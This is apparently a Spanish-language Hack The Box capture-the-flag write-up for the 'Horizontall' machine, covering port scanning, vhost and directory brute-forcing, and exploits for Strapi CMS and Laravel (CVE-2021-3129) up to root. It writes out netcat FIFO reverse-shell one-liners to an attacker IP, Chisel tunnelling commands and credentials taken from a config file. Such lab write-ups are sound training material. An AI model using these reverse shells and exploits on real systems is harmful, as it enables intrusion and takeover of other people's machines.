Hack the Box - Horizontall Writeup

- 7 mins

Summary

Info de la maquina

VM column Detalles
Nombre Horizontall
Dificultad Easy
Release 28 Aug 2021
OS Linux
IP 10.10.11.105

Editamos /etc/hosts y agregamos la IP 10.10.11.105 que apunte hacia horizontall.htb

Escaneo de Puertos

Escaneamos los puertos con Masscan y Nmap, utilizando Masscan_To_Nmap , esta herramienta escanea puertos TCP y UDP, toma los abiertos y ejecuta Nmap en búsqueda de servicios y scripts por default, mas info y donde conseguir el script:

Ejecutamos el script : sudo python3 masscan_to_nmap.py -i 10.10.11.105

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-31 22:40 -04
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 22:41 (0:00:00 remaining)
Packet Tracing disabled.
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall

Tenemos dos puertos abiertos con sus respectivos servicios.

Vamos a echarle un vistazo al puerto al puerto 80.

##

Website - Port 80

Como es una maquina “easy” a veces sueltan alguno que otro hint en el source code pero en este caso no hay nada, es una pagina estatica, no hay mucho que hacer.

Vhost - BurpSuite

Usare BurpSuite a ver que puedo encontrar interesante en las peticiones entre el client(yo) y el web server. Antes de empezar a hacer algo con burp, por lo regular permito que intecepte las peticiones de JavaScript (.js), lo podemos hacer de esta forma

Procedemos a eliminar ^js$| y listo. Ahora a capturar las peticiones :)

Me llama la atencion esos scripts con unos nombres algo rarito, vamos a darle una ojeada.

La primera ruta http://horizontall.htb/js/app.c68eb462.js , me voy a descagar en mi maquina el script para no torturarme mis ojos :D

Vamos a darle un vistazo:

Encontramos un VirtualHost :), antes de seguir, vamos a ver otra forma de como conseguir el vhost.

Vhost - Gobuster

Podemos realizar un BruteForce Directory pero en nuestro caso no nos va a dar nada interesante, asi que procederemos a realizar un VHOST (Virtual Host )Bruteforce

Para realizar esto, usare la herramienta gobuster, aun que de igual manera funcionaria ffuf.

La sintaxis es bastante sencilla :

vhost : Indicamos que queremos realizar una enumeracion de vhosts

-u : Nuestro target

-w : El diccionario que queremos usar para realizar el ataque, en mi caso estamos usando uno de SecLists.

gobuster vhost -u horizontall.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

Encontramos algo interesante.

Procedemos agregarlo a nuestro archivo /etc/hosts

API Horizontall.

Vamos a echarle un vistazo a lo que acabamos de descubrir

De nuevo, una pagina estatica(?), vamos a realizar un BruteForce Directory con ffuf

La sintaxis es sencilla al igual que gobuster

-w Diccionario que usaremos para ataques, por lo regular uso uno de raft(del mismo seclists)

-c Que el output salga colorizado.

-u Nuestro target

Quedaria asi:

ffuf -w /usr/share/wordlists/dirb/common.txt -c -u http://api-prod.horizontall.htb/FUZZ

Bastante rapido :)

El path /admin me redirreciona hacia aqui, strapi es un CMS, si buscamos con searchsploit obtenemos lo siguiente :

Genial, tenemos unos cuantos exploits, pero cual es la version de este CMS? Podemos ver si encontramos algo en Github o echarle un vistazo a los exploits.

En este caso me basto con la 2da opcion.

En este caso seria el 3er exploit, un Remote Code Execution(RCE)

El exploit corresponde a los CVE’s CVE-2019-18818, CVE-2019-19609 , segun el articulo de Mitre, el RCE es posible debido a una mala sanitizacion de un plugin en el Admin panel

Info : Mitre CVE 2019-19609

*python3 50239.py http: //api-prod.horizontall.htb/*

Tenemos unas nuevas credenciales de admin pero hey, tambien podemos realizar un RCE, asi que vamos a dejar netcat a la escucha por el puerto 4444 y amos a ejecutar el siguiente RCE para obtener un reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.142 4444 >/tmp/f

Hagamos un upgrade a nuestra shell : python3 -c “import pty;pty.spawn (‘/ bin/bash’)”

Tenemos user.txt :)

Privilege Escalation

Haciendo checklist basico de enumeracion en busquedad de archivo SUID, procesos, cronjobs,etc, no encontre nada hasta llegar al punto de ver las conexiones que tiene la maquina, usando netstat -ntlp me doy cuenta de varios puertos a la escucha :)

El puerto 1337 es la instancia del API, por otro lado el puerto 3306 es de MySQL :) ….pero y el 8000? este me llama la atencion.

Si hacemos un curl al puerto 8000 obtenemos lo siguiente :

Esta corriendo una instancia de Laravel :)

Bien, antes de seguir me interesa saber si en los archivos de config de Strapi tengo permisos de lectura y si por casualidad hay unas credenciales.

En la ruta /opt/strapi/myapi/config/environments/development encontramos lo que buscabamos.

Username: developer
Password: #J!:F9Zt2u

Intente utilizar estas credenciales via SSH pero no funcionaron.

mysql -u developer -p

Honestamente no nos interesa nada de la DB, asi que queda hacer un Port Fordward del puerto 8000 a nuestra maquina, en este caso con Chisel que es excelente para este tipo de tareas.

Utilizo Python para hacer un simple http server, y procedo a descargar chisel en la maquina

Procedo a descargar con wget

Le damos permiso de ejecucion chmod +x chisel

Bien, ahora estamos listo para hacer el Portforward, dejo dos articulos interesantes sobre esto

Chisel Port Forward

Tunneling with Chisel and SSF

En nuestra maquina dejamos a Chisel en escucha de la siguiente forma:

chisel server -p 8081 --reverse

En el lado de la victima (client):

./chisel client 10.10.14.142:8081 R:8001:127.0.0.1:8000

Confirmamos de nuestro lado :

Bien, vamos a ver si esto funciona….

It’s works!. Laravel tiene muchisimos exploits, por suerte tenemos una version en la misma pagina, abajo a la derecha.

Googleando un poco nos topamos con este repo que contiene el PoC + el exploit:

GitHub - nth347/CVE-2021-3129_exploit: Exploit for CVE-2021-3129

Siguiendo las instruccion del PoC es facil la explotacion (favor leer que hay que tener un setup de un Lab)

Nota: Si tienen algun problema con Composer favor actualizar las siguientes librerias y la extension xml de php :

sudo apt install libpcre2-16-0 libpcre2-8-0 libpcre2-32-0

sudo apt install php-xml

Y si tenemos el Lab Setup bien, lo veremos asi

Bien, ahora a darle al exploit :D , dejamos netcat a la escucha y vamos a obtener un reverse shell con rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.142 4445 >/tmp/f

Somos root :)

EOF

comments powered by Disqus